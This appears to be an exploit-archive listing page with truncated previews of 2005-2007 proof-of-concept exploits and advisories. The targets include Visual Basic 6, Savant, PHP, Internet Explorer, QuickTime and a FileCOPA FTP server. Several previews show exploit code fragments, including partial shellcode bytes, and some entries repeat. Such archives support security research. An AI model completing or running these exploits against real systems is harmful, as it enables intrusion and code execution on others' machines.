Microsoft Visual Basic Enterprise 6.0 SP6 - Code Execution

usage: vbexploit.py FileName.vbp import sys print "--------------------------------------------------------------------------" print " PoC2 Microsoft Visual Basic Enterprise Edition 6.0 SP6 Code Execution " print " author: shinnai" print " mail: shinnaiatautisticidotorg" print " site:...

Savant 3.1 Get Request Remote Overflow Exploit (Universal)

Exploit for unknown platform in category remote exploits ========================================================== Savant 3.1 Get Request Remote Overflow Exploit Universal ========================================================== !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof...

CVE-2007-3341

Unspecified vulnerability in the FTP implementation in Microsoft Internet Explorer allows remote attackers to "see a valid memory address" via unspecified vectors, a different issue than CVE-2007-0217...

CVE-2007-3341

Unspecified vulnerability in the FTP implementation in Microsoft Internet Explorer allows remote attackers to "see a valid memory address" via unspecified vectors, a different issue than CVE-2007-0217...

Microsoft Visual Basic 6.0 Project (Description) Stack overflow PoC

No description provided by source. !/usr/local/bin/perl Discovered By UmZ Umair Manzoor comments are welcome at umz32.dllatgmail.com Dated 23-02-2007 Time : 02:00 AM PST Stack Overflow Buffer Size 1037690 overflow offset 004A2E43 EBX contain values Memory to write 03B50188...

Microsoft Visual Basic 6.0 Project (Company Name) Stack overflow PoC

Exploit for unknown platform in category dos / poc ==================================================================== Microsoft Visual Basic 6.0 Project Company Name Stack overflow PoC ==================================================================== !/usr/local/bin/perl Discovered By UmZ...

Microsoft Visual Basic 6.0 Project - Company Name Stack Overflow (PoC)

!/usr/local/bin/perl Discovered By UmZ Umair Manzoor comments are welcome at umz32.dllatgmail.com Dated 23-02-2007 Time : 02:00 AM PST Visual Basic Project Company Name Stack Overflow Affected Version : Tested on Visual basic 6 Threats : DoS, Previlidges Escilation System become unstable for more...

PHP < 4.4.5 / 5.2.1 _SESSION Deserialization Overwrite Exploit

No description provided by source. ?php //////////////////////////////////////////////////////////////////////// // // // | || | | | | | | | || || \ // // | |/ || '|/ |/ -| ' \ / -/ |||| /| || / // // ||||,||| ,|||||||,| || |||||| // // // // Proof of concept code from the Hardened-PHP...

MS07-0 0 4 General overflow of the method-completion-bug warning-the black bar safety net

This article ms07-0 0 4 as an example, explores this vulnerability of the General method, to restore the ie method, as well as the heap spray technology. The topic is! by axis Date: 2007-02-13 Email: axisatph4nt0m.org MS07-0 0 4 out there for some time, I wrote an analysis paper, and for this...

MS07-0 0 4 General overflow of the method-completion-bug warning-the black bar safety net

This article ms07-0 0 4 as an example, explores this vulnerability of the General method, to restore the ie method, as well as the heap spray technology. The topic is! by axis Date: 2007-02-13 Email: axisatph4nt0m.org MS07-0 0 4 out there for some time, I wrote an analysis paper, and for this...

MOAB-17-01-2007.rb.txt

!/usr/bin/ruby c Copyright 2006 Lance M. Havok Kevin Finisterre All pwnage reserved. Proof of concept for MOAB-17-01-2007 http://projects.info-pull.com/moab/MOAB-17-01-2007.html Originally reported to Apple by Kevin, on 08/02/2006. require 'socket' targetpath = ARGV0 || '/var/run/slpipc' slpsocke...

MOAB-11-01-2007: Apple DMG UFS byte_swap_sbin() Integer Overflow Vulnerability

Summary The byteswapsbin function, one of the UFS byte swapping routines this code isn't present in FreeBSD and it's Mac OS X XNU-specific; used for compatibility of filesystem streams between little and big-endian systems is affected by a integer overflow vulnerability, leading to an exploitable...

Apple Quicktime (rtsp URL Handler) Stack Buffer Overflow Exploit

Exploit for multiple platform in category remote exploits ================================================================ Apple Quicktime rtsp URL Handler Stack Buffer Overflow Exploit ================================================================ !/usr/bin/ruby Copyright c LMH Kevin Finisterr...

php local buffer underflow could lead to arbitary code execution

Affected versions: php 5.1.4 and older, 4.4.3 and possibly older Cause: when php-s sscanf functions format argument contains argument swap and extra arguments are given like. sscanf'foo ','$1s',$bar then it reads an pointer to pointer to zval structure past the end of argument array by one. Php...

filecopa101.txt

!/usr/bin/perl -w bad char 0x00 0x0a tested on win00 SP4 English on filecopa ftp server 6/4/2006 version use Net::FTP; $target = $ARGV0 || die "usage:$0 "; my $user = "test"; my $pass = "test"; $shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"...

kernel hacking simple to get started-vulnerability warning-the black bar safety net

User space and kernel space --------------------------- linux is a protected mode ofoperating system. It has been working on the i386 cpu protected mode. Memory is divided into two elements: a kernel area and a user area. （Translator's note: I think it is so called relatively smooth） The kernel...

Internet Explorer onload window vulnerability

Added: 12/01/2005 CVE: CVE-2005-1790 BID: 13799 OSVDB: 17094 Background Internet Explorer is an HTML web browser which comes by default on Microsoft operating systems. Problem Internet Explorer fails to properly initialize the window function when called from an onLoad event in a body tag. This...

Internet Explorer onload window vulnerability

Added: 12/01/2005 CVE: CVE-2005-1790 BID: 13799 OSVDB: 17094 Background Internet Explorer is an HTML web browser which comes by default on Microsoft operating systems. Problem Internet Explorer fails to properly initialize the window function when called from an onLoad event in a body tag. This...

Quake 2 Lithium Mod V 1.24 Macro Expansion Vuln?

Well I ran quake 2 using Lithium mod V 1.24 under OllyDBG and it seems that the lithium II mod for quake 2 latest PATCH 3.20 is parsing the '' in nicks. My well crafted nickname '999fffff' is being pushed onto the stack as 004144A1 |. 68 E821AF00 PUSH QUAKE2.00AF21E8 ; ASCII "0.000000 0.000000...

ProRat Server 1.9 (Fix-2) - Buffer Overflow / Crash (PoC)

/ if this worked for you send me an email. /str0ke / / ProRat Server Buffer Overflow Crash POC http://www.prorat.net/products.php?product=ProRat Discovered and Coded by evil dabus e-mail: evildabus at yahoo.com Tested on ProRat Server version 1.9 Fix-2 Public Edition on a Windows XP Professional...